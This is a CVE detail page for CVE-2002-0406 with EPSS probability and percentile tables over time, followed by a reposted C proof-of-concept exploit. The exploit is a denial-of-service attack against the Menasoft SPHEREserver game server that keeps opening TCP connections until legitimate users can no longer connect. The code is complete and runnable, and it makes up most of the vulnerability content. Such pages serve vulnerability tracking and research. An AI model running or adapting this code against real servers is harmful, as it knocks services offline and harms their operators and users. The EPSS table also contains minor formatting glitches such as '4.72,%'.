CVE-2002-0406 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.19%	–	–
2022-04-03	–	–	4.19%	–	–
2022-07-17	–	–	4.19%	–	–
2023-03-12	–	–	–	4.42%	–
2023-09-17	–	–	–	3.71%	–
2024-02-04	–	–	–	3.9%	–
2024-02-11	–	–	–	3.9%	–
2024-06-02	–	–	–	3.9%	–
2024-08-11	–	–	–	3.23%	–
2024-11-17	–	–	–	3.23%	–
2024-12-22	–	–	–	3.23%	–
2025-01-19	–	–	–	3.23%	–
2025-03-18	–	–	–	–	4.72%
2025-03-30	–	–	–	–	4.72%
2025-04-15	–	–	–	–	4.72%
2025-04-15	–	–	–	–	4.72,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	7%
2022-04-03	86%
2022-07-17	87%
2023-03-12	91%
2023-09-17	91%
2024-02-04	91%
2024-02-11	92%
2024-06-02	92%
2024-08-11	91%
2024-11-17	92%
2024-12-22	91%
2025-01-19	91%
2025-03-18	89%
2025-03-30	88%
2025-04-15	89%
2025-04-15	89%

// source: https://www.securityfocus.com/bid/4258/info Menasoft SPHEREserver .99 is an online role playing game server. It is vulnerable to a denial of service; multiple connections to the server can be made from a single machine, exhausting available connections and denying connections to legitimate users. /* * * www.h07.org * H Zero Seven * Unix Security Research Team * * Sphere Ultima Online Server - Denial of Service Vulnerability * poc-exploit... * * Simple code to eat all connections from the gameserver, so other * peoples could not connect to the server. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdarg.h> #include <time.h> #include <sys/time.h> int Connect(int ip, int port) { int fd; struct sockaddr_in tgt; fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (fd<0) return -1; memset(&tgt,0,sizeof(struct sockaddr_in)); tgt.sin_port = htons(port); tgt.sin_family = AF_INET; tgt.sin_addr.s_addr = ip; if (connect(fd,(struct sockaddr*)&tgt,sizeof(struct sockaddr))<0) return -1; return fd; } int sprint(int fd, const char *str,...) { va_list args; char buf[4096]; memset(&buf,0,sizeof(buf)); va_start(args,str); vsnprintf(buf,sizeof(buf),str,args); return(write(fd,buf,strlen(buf))); } int main(int argc, char *argv[]) { int fd; struct sockaddr_in box; fprintf(stderr, "SphereServer DoS Exploit [poc]\n"); fprintf(stderr, "H Zero Seven - Unix Security Research Team - www.h07.org\n\n"); if (argc < 2) { fprintf(stderr, "usage: %s <sphere ip> [sphere port]\n",argv[0]); return; } fprintf(stderr,"for the full advisory regarding this vulnerability visit www.h07.org ... \n"); fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (fd<0) { perror("socket() "); return; } fprintf(stderr,"Attacking sphere : "); for (;;) { int sock; sock = Connect(inet_addr(argv[1]),(argc>2)?(atoi(argv[2])):3128); if (sock<0) { sleep(10); continue; } fprintf(stderr, ".*"); } }